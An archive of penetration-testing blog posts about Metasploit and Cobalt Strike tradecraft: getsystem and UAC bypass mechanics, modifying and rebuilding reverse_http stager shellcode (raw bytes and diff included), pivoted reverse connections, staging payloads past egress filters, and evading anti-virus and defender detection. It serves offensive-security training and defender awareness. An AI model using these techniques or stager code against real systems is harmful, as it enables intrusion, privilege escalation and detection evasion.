Archive for the ‘metasploit framework’ Category

h1

What happens when I type getsystem?

April 2, 2014

Meterpreter’s getsystem command is taken for granted. Type getsystem and magically Meterpreter elevates you from a local administrator to the SYSTEM user. What’s really happening though?

The getsystem command has three techniques. The first two rely on named pipe impersonation. The last one relies on token duplication.

meterpreter > getsystem -h
Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:

    -h        Help Banner.
    -t   The technique to use. (Default to '0').
		0 : All techniques available
		1 : Service - Named Pipe Impersonation (In Memory/Admin)
		2 : Service - Named Pipe Impersonation (Dropper/Admin)
		3 : Service - Token Duplication (In Memory/Admin)

Let’s go through them:

Technique 1 creates a named pipe from Meterpreter. It also creates and runs a service that runs cmd.exe /c echo “some data” >\\.\pipe\[random pipe here]. When the spawned cmd.exe connects to Meterpreter’s named pipe, Meterpreter has the opportunity to impersonate that security context. Impersonation of clients is a named pipes feature. The context of the service is SYSTEM, so when you impersonate it, you become SYSTEM.

Technique 2 is like technique 1. It creates a named pipe and impersonates the security context of the first client to connect to it. To create a client with the SYSTEM user context, this technique drops a DLL to disk(!) and schedules rundll32.exe as a service to run the DLL as SYSTEM. The DLL connects to the named pipe and that’s it. Look at elevate_via_service_namedpipe2 in Meterpreter’s source to see this technique.

As the help information states, this technique drops a file to disk. This is an opportunity for an anti-virus product to catch you. If you’re worried about anti-virus or leaving forensic evidence, I’d avoid getsystem –t 0 (which tries every technique) and I’d avoid getsystem –t 2.

Technique 3 is a little different. This technique assumes you have SeDebugPrivileges—something getprivs can help with. It loops through all open services to find one that is running as SYSTEM and that you have permissions to inject into. It uses reflective DLL injection to run its elevator.dll in the memory space of the service it finds. This technique also passes the current thread id (from Meterpreter) to elevator.dll. When run, elevator.dll gets the SYSTEM token, opens the primary thread in Meterpreter, and tries to apply the SYSTEM token to it.

This technique’s implementation limits itself to x86 environments only. On the bright side, it does not require spawning a new process and it takes place entirely in memory.

Let’s say techniques 1-3 fail. You can always fall back to getting system by hand. All of these techniques rely on your ability, as a privileged user, to create or inject into a service. If these techniques fail, generate an executable for your payload and use sc or at to run it as SYSTEM. There you go, you’ve got system.

h1

User Account Control – What Penetration Testers Should Know

March 20, 2014

UAC is User Account Control. Introduced in Windows Vista, UAC is a collection of technologies that make it convenient possible to use Windows without administrator privileges and elevate your rights when needed. UAC has a lot of moving parts and encompasses a lot of things.

This post focuses on Windows Integrity levels and UAC elevation prompts. I will first explain some UAC concepts and then dive into three attacks to get past UAC.

Process Integrity Levels

In Windows Vista and later, processes run at three different levels of integrity: high, medium, and low. A high integrity process has administrator rights. A medium integrity process is one that runs with standard user rights. A low integrity process is very restricted.

A low integrity process can not write to the registry and it’s limited from writing to most locations in the current user’s profile. Protected Mode Internet Explorer runs with low integrity. The idea is to limit the amount of damage an attacker may do if they exploit the browser.

Most desktop applications run in a medium integrity process, even if the current user is a local administrator. Use Process Explorer to see which Integrity level your programs are running at.

procexp

UAC Settings

To perform a privileged action, a program must run another program and request the high integrity level at that time. If the user is an administrator, what happens next will depend on their UAC settings. There are four UAC settings:

Always Notify. This setting is the highest UAC setting. It will prompt the user when any program, including a built-in Windows program wants higher privileges.

Notify me only when programs try to make changes to my computer. This is the default UAC setting. This setting does not prompt the user when some built-in Windows program want higher privileges. It will prompt the user when any other program wants higher privileges. This distinction is important and it plays into the UAC bypass attack that we will cover in a moment.

Notify me only when programs try to make changes to my computer (do not dim my desktop). This is the same as the default setting, except the user’s desktop does not dim when the UAC elevation prompt comes up. This setting exists for computers that lack the computing power to dim the desktop and show a dialog on top of it.

Never notify. This option takes us back to life before Windows Vista. On Windows 7, if a user is an administrator, all of their programs will run with high integrity. On Windows 8, programs run at the medium integrity level, but anything run by an Administrator that requests elevated rights gets them without a prompt.

If the user is not an administrator, they will see a prompt that asks for the username and password of a privileged user when a program tries to elevate. Microsoft calls this “over the shoulder” elevation as someone is, presumably, standing over the shoulder of the user and typing in their password. If the UAC settings are set to Never Notify, the system will automatically deny any requests to elevate.

Who Am I?

When I get a foothold from a client-side attack, I have a few questions I like to answer right away. First, I like to know which user I’m currently executing code as. Second, I like to know which rights I have. With UAC this becomes especially complicated.

One way I like to sort myself out is with the Windows command: whoami /groups.

This command will print which groups my current user belongs to.

This command will also print which integrity level my command ran with. If my command ran in a high integrity context, I will see the group Mandatory Label\High Mandatory Level. This means I have administrator rights.

17.26.20 cmd_exe_2320_2

If my command ran in a medium integrity context, I will see the group Mandatory Label\Medium Mandatory Level. This means I have standard user rights.

17.26.31 cmd_exe_3588_1

RunAs

If I find myself in a medium integrity process run by a user in an administrators group, there is potential to elevate from standard user rights to administrator user rights. One option is to use the ShellExecute function with the runas verb. This will run a program and request elevated rights.

If UAC is set to anything other than Never Notify, the user will see a prompt that asks them if they would like to allow the action to happen. This is not completely implausible. Oracle’s Java Updater randomly prompts me all of the time.

The Metasploit Framework’s exploit/windows/local/ask module by mubix implements this attack for you. Make sure you set EXE::Custom to avoid anti-virus!

javaupdater

If the user accepts the prompt, the system will run my program in a high integrity context. Remember, medium integrity is standard user rights. High integrity is administrator rights and this is what we’re after.

Bypass UAC

The RunAs option prompts the user and that’s an opportunity to get caught. We want a way to spawn a high integrity process from a medium integrity process without a prompt. Fortunately, there is a way to do this, it’s the bypass UAC attack.

This attack comes from Leo Davidson who made a proof-of-concept for it in 2009. David Kennedy and Kevin Mitnick popularized this attack in a 2011 DerbyCon talk. They also released the exploit/windows/local/bypassuac Metasploit Framework module that uses Leo’s proof-of-concept for the heavy lifting.

The bypass UAC attack requires that UAC is set to the default Notify me only when programs try to make changes to my computer. If UAC is set to Always Notify, this attack will not work. This attack also requires that our current user is in an administrators group.

Bypass UAC: How It Works

This is a fascinating attack whose inner workings are taken for granted. Please allow me the blog space to describe it in depth:

Our story starts with COM, the Component Object Model in Windows. COM is a way of writing components that other programs may use and re-use. One of the benefits of COM is that it’s language neutral. I find it extremely complicated and unappealing to work with. I suspect others share my feelings.

Some COM objects automatically elevate themselves to a high integrity context when run from a program signed with Microsoft’s code signing certificate. If the same COM object is instantiated from a program that was not signed by Microsoft, it runs with the same integrity as the current process.

The COM distinction between Microsoft and non-Microsoft programs has little meaning though. I can’t create a COM object in a high integrity context  because my programs are not signed with Microsoft’s certificate. I can spawn a Microsoft-signed program (e.g., notepad.exe) and inject a DLL into it though. From this DLL, I may instantiate a self-elevating COM object of my choice. When this COM object performs an action, it will do so from a high integrity context.

Leo’s Bypass UAC attack creates an instance of the IFileOperation COM object. This object has methods to copy and delete files on the system. Run from a high integrity context, this object allows us to perform a privileged file copy to any location on the system.

We’re not done yet! We need to go from a privileged file copy to code execution in a high integrity process. Before we can make this leap, I need to discuss another Windows 7 fun fact.

Earlier, we went over the different UAC settings. The default UAC setting will not prompt the user when some built-in Windows programs try to elevate themselves. More practically, this means that some built-in Windows programs always run in a high integrity context.

These programs that automatically elevate have a few properties. They are signed with Microsoft’s code signing certificate. They are located in a “secure” folder (e.g., c:\windows\system32). And, they request the right to autoElevate in their manifest.

We can find which programs autoElevate themselves with a little strings magic:

cd c:\windows\
strings –s *.exe | findstr /i autoelevate

Now, we know which programs automatically run in a high integrity context AND we have the ability to perform an arbitrary copy on the file system. How do we get code execution?

We get code execution through DLL search order hijacking. The public versions of the bypass UAC attack copy a CRYPTBASE.dll file to c:\windows\system32\sysprep and run c:\windows\system32\sysprep.exe. When sysprep.exe runs it will search for CRYPTBASE.dll and find the malicious one first.

Because sysprep.exe automatically runs in a high integrity context (when UAC is set to default), the code in the attacker controlled CRYPTBASE.dll will execute in this high integrity context too. From there, we’re free to do whatever we like. We have our administrator privileges.

Holy Forensic Artifacts Batman!

I mentioned earlier that the Metasploit Framework’s bypassuac module uses Leo Davidson’s proof-of-concept. This module drops several files to disk. It uses Leo’s bypassuac-x86.exe (and bypassuac-x64.exe) to perform the privileged file copy from a medium integrity context. It also drops a CRYPTBASE.dll file to disk and  the executable we want to run.

This module, when run, also creates a tior.exe and several w7e_*.tmp files in the user’s temp folder. I have no idea what the purpose of these files are.

When you use this module, you control the executable to run through the EXE::Custom option. The other artifacts are put on disk without obfuscation. For a long time, these other artifacts were caught by anti-virus products. A recent commit to the Metasploit Framework strips several debug and logging messages from these artifacts. This helps them get past the ire of anti-virus, for now.

bewareav

A better approach is to use a module that has as little on-disk footprint as possible. Fortunately, Metasploit contributor Ben Campbell (aka Meatballs) is here to save the day. A recent addition to the Metasploit Framework is the exploit/windows/local/bypassuac_inject module.  This module compiles the UAC bypass logic into a reflective DLL. It spawns a Microsoft-signed program and injects the UAC bypass logic directly into it. The only thing that needs to touch disk is the CRYPTBASE.dll file.

Bypass UAC on Windows 8.1

In this post, I’ve focused heavily on Windows 7. Leo’s proof-of-concept and the bypassuac modules in the Metasploit Framework do not work on Windows 8.1. This is because the DLL hijacking opportunity against sysprep.exe does not work in Windows 8.1. The Bypass UAC attack is still possible though.

A few releases ago, I added bypassuac to Cobalt Strike’s Beacon. I do not invest in short-term features, so I had to convince myself that this attack had a viable future. I audited all of the autoElevate programs on a stock Windows 8.1 to find another DLL hijacking opportunity. I had to find a program that would load my DLL before displaying anything to the user. There were quite a few false starts. In the end, I found my candidate.

Beacon’s Bypass UAC command is similar to Ben Campbell’s, it performs all of the UAC bypass logic in memory. Beacon’s UAC bypass also generates an anti-virus safe DLL from Cobalt Strike’s Artifact Kit. Beacon’s UAC bypass checks the system it’s running on too. If it’s Windows 7, Beacon uses sysprep.exe to get code execution in a high integrity context. If it’s Windows 8, it uses another opportunity.

If you’re having trouble with the alternatives, Beacon’s version of this attack is an option.

Bypass UAC on Windows Vista

The Bypass UAC attack does not work on Windows Vista. In Windows Vista, the user has to acknowledge every privileged action. This is the same as the Always Notify option in Windows 7 and later. The UAC settings in Windows 7 came about because UAC became a symbol of what was “wrong” with Windows Vista. Microsoft created UAC settings and made some of their built-in programs auto-elevate by default to prompt the user less often. These changes for user convenience created the loophole described in this post.

Lateral Movement and UAC

The concept of process integrity level only applies to the current system. When you interact with a network resource, your access token is all that matters. If your current user is a domain user and your domain user is a local administrator on another system, you can get past UAC. Here’s how this works:

You may use your token to interact with another system as an administrator. This means you may copy an executable to that other system and schedule it to run. If you get access to another system this way, you may repeat the same process to regain access to your current system with full rights.

You may use the Metasploit Framework’s exploit/windows/local/current_user_psexec to do this.

Summary

These UAC bypass attacks are among my favorite hacker techniques. They’re a favorite because they take advantage of a design loophole rather than a fixed-with-the-next-update memory corruption flaw. In theory, we will have these attacks for a long time.

h1

Modifying Metasploit’s Stager Shellcode

February 12, 2014

If you’ve ever had to change a module in the Metasploit Framework, you know the go to place is the modules/ directory off of the Metasploit Framework’s root folder.

Recently, I had to modify the Metasploit Framework’s reverse_http stager. It currently sends a blank User-Agent. This is a problem because a blank User-Agent will not get through proxy servers that whitelist browsers. It’s a trade-off though. Using a blank User-Agent keeps this stager small and compatible with more exploits.

I opened up modules/payloads/stagers/windows/reverse_http.rb and I was greeted with the following:

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Reverse HTTP Stager',
      'Description'   => 'Tunnel communication over HTTP',
      'Author'        => 'hdm',
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::ReverseHttp,
      'Convention'    => 'sockedi http',
      'Stager'        =>
        {
          'Offsets' =>
            {
              # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now)
              # 'EXITFUNC' => [ 290, 'V' ],
              'LPORT'    => [ 190, 'v' ], # Not a typo, really little endian
            },
          'Payload' =>
              "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
              "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
              "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
              "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
              "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
              "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
              "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
              "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
              "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
              "\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" +
              "\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" +
              "\xFF\xD5\xEB\x4B\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" +
              "\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x34\x59\x31\xD2" +
              "\x52\x68\x00\x02\x60\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
              "\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57\x57\x57\x57\x56\x68" +
              "\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xE9\xEB" +
              "\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5" +
              "\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00" +
              "\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00" +
              "\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD" +
              "\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x65\xFF\xFF\xFF"
        }
      ))
  end

I have a pretty reasonable background in many development situations. I have two rules: I won’t work in a programming environment that requires IDE generated XML to get things done (without a lot of swearing). And, I won’t try to hot-patch a binary blob when it’s in that form.

Fortunately, my pressing need did not require me to break either rule. I was able to stroll to the external/source/shellcode/windows/x86 folder in the Metasploit Framework. This is where the Metasploit Framework stores the source code for its shellcode. Even better, this code is split up such that common pieces are in their own files and files that use them include them directly. All of the code here is also well commented. This is about as clean and maintainable as shellcode gets.

My goal is to change the http stager though. So, I went to the stager_reverse_http.asm file in external/source/shellcode/windows/x86/src/stager first.

  cld                    ; Clear the direction flag.
  call start             ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start:                   ;
  pop ebp                ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_reverse_http.asm"
  ; By here we will have performed the reverse_tcp connection and EDI will be our socket.

Here, I saw that I would need to look in another file. I then took a look at the block_reverse_http.asm file in external/source/shellcode/windows/x86/src/block/. Bingo. I found my file.

Next, I made my changes. Adding a User-Agent to the HTTP stager isn’t too bad. Here’s my .diff file to do it:

--- external/source/shellcode/windows/x86/src/block/block_reverse_http.asm
+++ external/source/shellcode/windows/x86/src/block/block_reverse_http.asm
@@ -16,14 +16,19 @@ load_wininet:
   push 0x0726774C        ; hash( "kernel32.dll", "LoadLibraryA" )
   call ebp               ; LoadLibraryA( "wininet" )

+  call internetopen      ; jump!
+
+useragent:
+  db "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)", 0x00
+
 internetopen:
+  pop ecx                ; pointer to User-Agent string
   xor edi,edi
   push edi               ; DWORD dwFlags
   push edi               ; LPCTSTR lpszProxyBypass
   push edi               ; LPCTSTR lpszProxyName
   push edi               ; DWORD dwAccessType (PRECONFIG = 0)
-  push byte 0            ; NULL pointer
-  push esp               ; LPCTSTR lpszAgent ("\x00")
+  push ecx               ; LPCTSTR lpszAgent (user agent)
   push 0xA779563A        ; hash( "wininet.dll", "InternetOpenA" )
   call ebp

We’re almost done. We need to assemble the new stager with the changes and update the reverse_http.rb file in the payloads folder. Fortunately, the Metasploit Framework includes a Python(!) script to assemble the final shellcode product. Change to the external/source/shellcode/windows/x86/ folder and run:

python build.py stager_reverse_http

This build script output the assembled stager in a form that I pasted back to the original stager file. It also output the offset for LPORT as LEPort Offset.

I had to update the LPORT Offset in the stager  too. This is specified in the 'LPORT' => [ 190, 'v' ] line in the payload module. I changed the 190 to the LEPort value provided by build.py.

In this post, I took you through how to change the shellcode for a Metasploit Framework stager. I had to change the reverse_http stager to help a custom payload get past the proxy issue I described earlier. Regardless of the example change I used, you now know where source code to the Metasploit Framework’s stagers live, how to change a stager, how to build your changes, and make the framework use those changes.

h1

Reverse Meterpreter Connect-backs through a Compromised Host

November 26, 2013

<update 03:30pm> I’ve had some feedback that this post describes a concept that is too basic to put into blog form. I can see where this confusion may occur. Most literature that describes pivoting through Meterpreter, shows how to setup a payload connection that goes through Meterpreter (e.g., a bind payload). What isn’t well known or documented, is the Metasploit Framework’s ability to setup a connection that calls home to you through a Meterpreter pivot (e.g., a reverse payload bounced through a pivot host). This nuance is important.

Let’s say I have admin user credentials for a server that can’t egress out of the network and connect to me. This server has a host-based firewall as well. Only port 445 is allowed in. If I try to deliver a bind payload, my attempt to connect to the host to establish the session will get stopped. If I try to setup a reverse connection, directly to my host on the internet, this will fail too–because the host can’t egress and connect to me. What else do I do? I could try to schedule a task to drop the firewall on the server (with psexec_command). I’ve done this. In some cases though, this might generate an alert that draws unwanted attention to my activity. The desirable solution is to compromise the server (172.16.48.3) and send the reverse connection through an already compromised host (172.16.48.81), before it reaches me. This is what I describe how to do in this blog post.</update>

reversecallback

Here’s how to do it:

First, you need to compromise a system and get Windows Meterpreter onto the system. However you do it is fine with me.

Next, you need to setup a pivot into the target network. Here’s how to do it:

20.57.17 Console

Notice that 172.16.48.81 is my initial compromise and pivot host.

Last, you need to exploit another system and setup the reverse connect back accordingly. Ask yourself: how would I do this? Do you have an answer? Let’s see if you’ve arrived at the correct one.

Setup the exploit as you would normally. Next, set LHOST to the IP address of the compromised system that is also your pivot point. Change LPORT as well. Now, fire the exploit.

reverseconnectpivot

Notice that the Metasploit Framework recognizes the situation and sets up a reverse port forward for you. This is indicated by the string “Started reverse handler on [compromised host] via the meterpreter on session [pivot session]“. If your exploit fired correctly, you will have a session reverse connected through your compromised system.

Here’s the output of netstat on the compromised system:

20.59.30 cmd_exe_2624_2

Pretty neat.

h1

Evade Egress Restrictions with Staged Payloads

November 15, 2013

Sometimes, it’s easy to get code execution in a network, but very difficult to egress out of it. When you are an external actor trying to get a foothold, it’s important that your attack package use a payload that’s likely to leave your target’s network. If you can’t get out, all of your work is wasted.

egress_blocked

Payloads in the Metasploit Framework are staged. This means that the payload is delivered in pieces. The first piece, known as the stager, connects to you, the attacker, and downloads the second piece, known as the stage. Once the stage is downloaded, the stager executes it.

The Metasploit Framework’s stagers are compatible with different payload options. For example, the Metasploit Framework’s reverse_http stager can deliver Meterpreter or Cobalt Strike’s Beacon.

If your stager can not get past egress filters to download a payload, then your payload will not execute. This blog post focuses on how to get past egress restrictions with a stager.

Egress Assumptions

Some networks are wide open. If you’re dealing with an open network, then this blog post is of little use to you. Here’s what you can expect in a modern enterprise:

  • Default policy is to deny all outbound connections
  • Allowed outbound connections must go through a proxy
  • Outbound connections must conform to the expected protocol
  • Outbound connections must pass other checks as well.

With these assumptions in mind, let’s talk about the different Metasploit Framework stagers and how they apply.

Reverse TCP Stagers

The reverse_tcp stager establishes a connection to the attacker on an arbitrary port and downloads the payload.

A variation of the reverse_tcp stager is the reverse_tcp_allports stager. This stager will attempt to connect back to the attacker on port 1, then port 2, port 3, so on and so forth. Once it establishes a connection, it will download the payload and pass control to it. From a network security monitoring point of view, this looks like an attempted port scan from a workstation to an internet host. If your goal is to avoid tripping alarms, I highly recommend that you avoid this stager.

Another variation is the reverse_tcp_dns stager. Contrary to some beliefs, this is NOT a stager to use a Metasploit Framework payload over DNS. The reverse_tcp_dns stager allows you to specify a fully qualified domain name as the LHOST value the stager should connect to.

Our assumptions immediately rule out use of these stagers. If you want to get past tough egress restrictions, forget these stagers.

HTTP and HTTPS Stagers

The Metasploit Framework’s reverse_http  stager makes an HTTP GET request to an attacker controlled system to download the payload stage. The reverse_http stager uses the WinINet API to communicate. WinINet is the same library Internet Explorer uses to fulfill requests.

egress_good

The reverse_https is similar to the reverse_http stager. The main difference is that the reverse_https stager uses SSL, where reverse_http does not.

Proxy (No Authentication)

In our assumptions, all outbound connections must go through a proxy of some sort. The reverse_http stager will pick up the user’s proxy settings by default. This is thanks to WinINet.

If the proxy server requires no authentication, the HTTP and HTTPS stagers will go right through it.

Proxy (NTLM Authentication)

If the proxy server requires NTLM authentication, the HTTP and HTTPS stagers will usually go right through it. There is a caveat.

For WinINet to authenticate to a proxy server, it needs a valid domain user’s token. If your stager runs as a domain user, then you’re all set. If your stager runs as SYSTEM, then you have a problem. The SYSTEM token means nothing to another system on the domain.  If WinINet tries to authenticate with this token, it will fail.

WinINet is also not designed for programs run as a service. When a program runs as a service the proxy settings are not available to WinINet.

These caveats are important to know. Some persistence techniques will automatically run your code as SYSTEM or as a service. The Metasploit Framework’s PsExec modules will run your payload as SYSTEM. It’s a shame to set up persistence or PsExec to a host, but never get a session, because of a WinINet limitation.

These limitations are known and they’re by design. WinINet is made for use by Windows desktop applications. For Windows services, the correct library to use is WinHTTP. WinHTTP is another internet communication library in Windows. There is no WinHTTP-based stager or payload in the Metasploit Framework.

Proxy (Static Username/Password)

If the proxy server requires a static username and password to get out, you’re in trouble. The Metasploit Framework’s reverse_http stager will not prompt the user for this information or pick up on the cached values.

There is a reverse_https_proxy stager in the Metasploit Framework. This stager allows the attacker to supply a known username and password to get out through a proxy server.

Protocol Checks

Thanks to WinINet, the reverse_http and reverse_https stager will pass basic protocol checks. To a proxy server, the traffic from these stagers will look like valid traffic. That said, there are a few other checks that may bite you.

FQDN Checks

Some proxy devices have an option to block URLs that reference an IP address directly. This closes a potential loophole to get access to restricted websites. If you plan to use the HTTP or HTTPS stagers, I recommend that you make sure LHOST is set to a fully qualified domain name, not your IP address.

User-Agent Checks

The Metasploit Framework’s HTTP and HTTPS stagers specify an empty User-Agent string. I assume that this to keep these stagers small. Some HTTP proxy devices include a Browser Check feature. This feature will block HTTP requests with User-Agent strings that are not present in an allow list. If this option is on, it may hurt your ability to stage a payload with the reverse_http stager.

The reverse_https stager is immune to most checks like this. When an HTTPS request goes through a proxy server, the client tells the proxy server which host and port to connect to. From that point, the proxy server relays the SSL encrypted traffic between the client and the requested server, with no knowledge of the content of the conversation. There are exceptions to this, but they’re rarer.

DNS Stager

dns_txt_query_exec is a Metasploit Framework module that demonstrates how to download code over DNS and execute it.

Cobalt Strike includes a heavily modified payload stager based on the dns_txt_query_exec module. These changes add resiliency to the stager (DNS requests do fail sometimes!) and make it capable of downloading payloads larger than 25KB. Cobalt Strike also includes a DNS server to automatically speak this staging protocol without forcing the user to create records by hand.

A TXT record is limited to 255 characters. It takes many TXT record requests to download a payload. I use the modified dns_txt_query_exec to stage Cobalt Strike’s Beacon over DNS when needed. It takes around 1,000 TXT record requests to stage Beacon. Over the internet, this takes about one minute.

DNS Staging is a nice option for systems that can’t connect to the internet or when other egress restrictions are too much work to figure out. If a system can resolve a fully qualified domain name to an IP address, then it can probably stage a payload over DNS too.

Tradecraft, part 8: Offense in Depth discusses this topic as well.

h1

Why is notepad.exe connecting to the internet?

August 8, 2013

To the observant network defender, notepad.exe connecting to the internet is a key indicator of compromise. In this blog post, I’d like to explain why attack frameworks inject code into notepad.exe and how you may avoid it in your attack process.

09.21.21 Beacon_10_10_12_12_3448

Let’s say I email a Microsoft Word document that has a malicious macro to a human resources target. This macro, when run, will inject my code into memory and run it. At this point, my code is running inside of Microsoft Word. What happens if the user closes Microsoft Word or the program crashes? My running code goes away and I have nothing to show for my efforts.

For situations like this, it’s helpful to have my code migrate to another process… ideally in an automatic way. This way, if the program I exploit crashes or the user closes it, I’m still on the system.

Cobalt Strike and the Metasploit Framework use notepad.exe as a default process to spawn and inject into. notepad.exe is a good candidate as a 32bit version of it exists on x86 and x64 systems. It also has a predictable path on both systems. Another key criterion–I can spawn notepad.exe with no arguments and it will not immediately exit.

If you’re playing in an exercise and the blue team gets rid of notepad.exe (a dirty, but not unfair trick in an exercise), you may find yourself in trouble. If the blue team is automatically killing notepad.exe, you may find yourself in trouble. If an organization uses Matt Weeks’ Ambush IPS and they have a rule to detect notepad.exe using a Winsock or WinINet function, you may find yourself in trouble.

To survive, it helps to know how to quickly adapt your tools to jump to something other than notepad.exe. Here’s a few tips do just that:

Meterpreter

Cobalt Strike gives you the ability to define static listeners. If you create a Meterpreter listener and check the Automatically migrate session box, you’re telling Cobalt Strike you’d like Meterpreter to move to a new process once a session is established. This action forces Cobalt Strike to set a Metasploit Framework option, InitialAutoRunScript to migrate -f when it creates a handler for you.

Many Metasploit Framework client-side exploits automatically set InitialAutoRunScript to migrate -f as well.

The InitialAutoRunScript option will execute the specified Meterpreter script as soon as a session is established. The migrate script is located in /path/to/metasploit/msf3/scripts/meterpreter/migrate.rb. The -f option opens a new process (notepad.exe) and migrates your Meterpreter session to it.

# Creates a temp notepad.exe to migrate to depending the architecture.
def create_temp_proc()
	sysinfo =  client.sys.config.sysinfo
	windir = client.fs.file.expand_path("%windir%")
	# Select path of executable to run depending the architecture
	if sysinfo['Architecture'] =~ /x86/
		cmd = "#{windir}\\System32\\notepad.exe"
	else
		cmd = "#{windir}\\Sysnative\\notepad.exe"
	end
	# run hidden
	proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
	return proc.pid
end

Edit this script to force many parts of Cobalt Strike and the Metasploit Framework to migrate Meterpreter to something other than notepad.exe. Try an alternative, like rundll32.exe. As of this writing, lines 42-54 of this file contain the code you need to change.

Session Passing

If you’re passing sessions with the post/windows/manage/payload_inject or exploits/windows/local/payload_inject, beware that both modules will, by default, spawn a notepad.exe process to inject a stager for the desired session type. There’s a very good reason for this too. If I inject shellcode into my current process and the shellcode crashes it will take the my process down with it… killing my session.

This is a more common occurrence than you might think. If I try to inject a windows/meterpreter/reverse_tcp stager into a process and it can’t connect to a handler, it will crash the process.

# Creates a temp notepad.exe to inject payload in to given the payload
# Returns process PID
def create_temp_proc()
	windir = client.fs.file.expand_path("%windir%")
	# Select path of executable to run depending the architecture
	if @payload_arch.first== "x86" and client.platform =~ /x86/
		cmd = "#{windir}\\System32\\notepad.exe"
	elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/
		cmd = "#{windir}\\System32\\notepad.exe"
	elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/
		cmd = "#{windir}\\Sysnative\\notepad.exe"
	elsif @payload_arch.first == "x86" and client.platform =~ /x64/
		cmd = "#{windir}\\SysWOW64\\notepad.exe"
	end
	begin
		proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
	rescue Rex::Post::Meterpreter::RequestError
		return nil
	end
	return proc.pid
end

For the sake of safety, it’s best to inject into a new process. To get around the notepad.exe bias in these modules, simply edit them in the Metasploit Framework code. The files are:

Note: these modules are the same thing. As of this writing, the Metasploit Framework is still in a transition porting post modules that accept a PAYLOAD to windows/local exploit modules. I expect that post modules with equivalent local exploits will eventually go away.

Beacon

Cobalt Strike’s Beacon came into this world as a light-weight way to quickly spawn Meterpreter sessions as needed. As with the payload_inject module above, Beacon creates a hidden notepad.exe process when spawning a new session. Fortunately, there are some options in Beacon you may tweak on the fly to change this behavior.

Once you gain access with Beacon, use the shell command to explore the system and decide which program you want to use as your new default. Once you know the full path to this program, use Beacon’s spawnto command to tell Beacon to spawn shellcode into it.

spawnto

The spawnto command only applies to the current Beacon. This is done deliberately as you may control Beacons from a variety of systems with different configurations.

If you prefer to do so, you may also inject sessions into running processes using Beacon’s inject command. Just provide a process ID and the name of a listener.

In this blog post, I’ve taken you through a common behavior in the Metasploit Framework and Cobalt Strike–spawning code into notepad.exe. I explained why this behavior exists and pointed you to a few touch points to avoid this behavior in your attacks. If you find this behavior or indicator is stopping your attacks, you have the flexibility to avoid it.

h1

Situational Awareness for Meterpreter Users

July 25, 2013

Hacking involves managing a lot of contextual factors at one time. Most times, the default situation works and a tool will perform beautifully for you. Sometimes though, there are things you have to check on and work around. That’s what this blog post is. I’d like to give you a list of contextual factors you should know about your Meterpreter session with pointers on how to manipulate these factors. This information will help you think on your feet and modify your situation so that you can get what you want out of your post-exploitation agent.

Which process do I live in?

Let’s start with the first contextual factor: your process. After exploitation, Meterpreter lives in the process you took control of. This process is associated with a user, it may or may not have a subset of the active users privileges, and depending on which process it is–the process could go away.. in any moment.

To learn which process your Meterpreter session lives in, use the getpid command. This will return your current process id.

meterpsa

To see which processes are on the system, type ps to see a listing of processes.

meterpps

To change to another process, use migrate [process id] to force Meterpreter to open a handle to another process, allocate memory there, copy itself, and start a new thread of execution in that process. Somehow, Meterpreter preserves state during this migration as well. I’d like to give you a summary of how it does that, but truth is–I don’t know :) The PID column of the ps output indicates the process ID. Don’t confuse this column with PPID which is the parent process ID.

Be aware of “when” you choose to migrate. If you live in a process and you’ve started pivoting, logging keystrokes, and doing other things–when you migrate, you may end up forcing Meterpreter to think it must control or interact with a non-existent resource and you may lose your session. It’s best to migrate early, before you’ve started to do anything significant. If in doubt, have Beacon on the system to give you a quick way to recover your session if something goes wrong.

What is the architecture of the system I’m on and the process I’m in?

